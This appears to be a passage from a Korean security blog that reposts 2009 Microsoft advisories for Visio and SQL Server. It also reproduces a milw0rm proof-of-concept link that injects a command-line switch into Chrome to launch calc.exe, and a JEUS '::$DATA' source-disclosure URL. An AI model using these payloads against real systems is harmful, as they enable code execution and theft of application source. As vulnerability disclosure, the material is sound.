   - Memory Validation Vulnerability(CVE-2009-0095)
   - Memory Corruption Vulnerability(CVE-2009-0096)
   - Memory Corruption Vulnerability(CVE-2009-0097)

o 영향받는 소프트웨어
   - Microsoft Visio 2002 SP2
   - Microsoft Visio 2003 SP3
   - Microsoft Visio 2007 SP1

o 영향받지 않는 소프트웨어
   - Microsoft Office Visio 2002 Viewer
   - Microsoft Office Visio 2003 Viewer
   - Microsoft Office Visio Viewer 2007, SP1

o 관련사이트
→ 영문 : http://www.microsoft.com/technet/security/bulletin/MS09-005.mspx
→ 한글 : http://www.microsoft.com/korea/technet/security/bulletin/MS09-005.mspx


■ 참고정보
Microsoft Update
http://update.microsoft.com/microsoftupdate/v6/default.aspx?ln=ko

 

2009/05/25 13:52 2009/05/25 13:52

Vulnerability in SQL Server Could Allow Remote Code Execution

 

Purpose of Advisory: To provide customers with initial notification of the publicly disclosed vulnerability. For more information see the "Mitigating Factors," "Workarounds," and "Suggested Actions" sections of this security advisory.

Advisory Status: The issue is currently under investigation.

Recommendation: Review the suggested actions and configure as appropriate.

 

References Identification

CVE Reference

CVE-2008-4270

Microsoft Knowledge Base Article

961040


This advisory discusses the following software.

Affected Software

Microsoft SQL Server 2000 Service Pack 4

Microsoft SQL Server 2000 Itanium-based Edition Service Pack 4

Microsoft SQL Server 2005 Service Pack 2

Microsoft SQL Server 2005 x64 Edition Service Pack 2

Microsoft SQL Server 2005 with SP2 for Itanium-based Systems

Microsoft SQL Server 2005 Express Edition Service Pack 2

Microsoft SQL Server 2005 Express Edition with Advanced Services Service Pack 2

Microsoft SQL Server 2000 Desktop Engine (MSDE 2000) Service Pack 4

Microsoft SQL Server 2000 Desktop Engine (WMSDE)

Windows Internal Database (WYukon) Service Pack 2

Non-Affected Software

Microsoft SQL Server 7.0 Service Pack 4

Microsoft SQL Server 2005 Service Pack 3

Microsoft SQL Server 2005 x64 Edition Service Pack 3

Microsoft SQL Server 2005 with SP3 for Itanium-based Systems

Microsoft SQL Server 2008

Microsoft SQL Server 2008 x64 Edition

Microsoft SQL Server 2008 for Itanium-based Systems


MS업데이트 링크 : http://www.microsoft.com/technet/security/advisory/961040.mspx

POC 관련 링크 : http://support.microsoft.com/kb/961040

2009/05/25 13:50 2009/05/25 13:50
<!--
Google Chrome Browser (ChromeHTML://) remote parameter injection POC
by Nine:Situations:Group::bellick&strawdog
Site: http://retrogod.altervista.org/
tested against: Internet Explorer 8 beta 2, Google Chrome 1.0.154.36, Microsoft Windows XP SP3
List of command line switches:
http://src.chromium.org/svn/trunk/src/chrome/common/chrome_switches.cc
Original url: http://retrogod.altervista.org/9sg_chrome.html

click the following link with IE while monitoring with procmon
-->
<a href='chromehtml:www.google.com"%20--renderer-path="c:\windows\system32\calc.exe"%20--"'>click me</a>

# milw0rm.com [2008-12-23]
원문보기 : http://www.milw0rm.com/exploits/7566

 

2009/05/25 13:50 2009/05/25 13:50

Description:
On NTFS TmaxSoft JEUS, which is an famous web application server, contained
a vulnerability that allows an attacker to obtain web application source
files. This was caused by ADSs(Alternate Data Streams; ::$DATA).
JEUS couldn't handle ::$DATA. So it treated test.jsp::$DATA as an normal
file when it requested.
This is similar to the past MS Windows IIS vulnerability(Bid 0149).

Exploit:
The attacker can obtain them easily using an URL request.

hxxp://www.target.com/foo/bar.jsp::$DATA
(해커는 위와 같이 ADDs 요청을 통해서 서버의 소스를 획득할 수 있음)

위의 내용은 TmaxSoft JEUS의 취약점에 대해서 나온 것이다.


자세한 사항은 다음링크에서 확인하세요

http://www.milw0rm.com/exploits/7442

2009/05/25 13:49 2009/05/25 13:49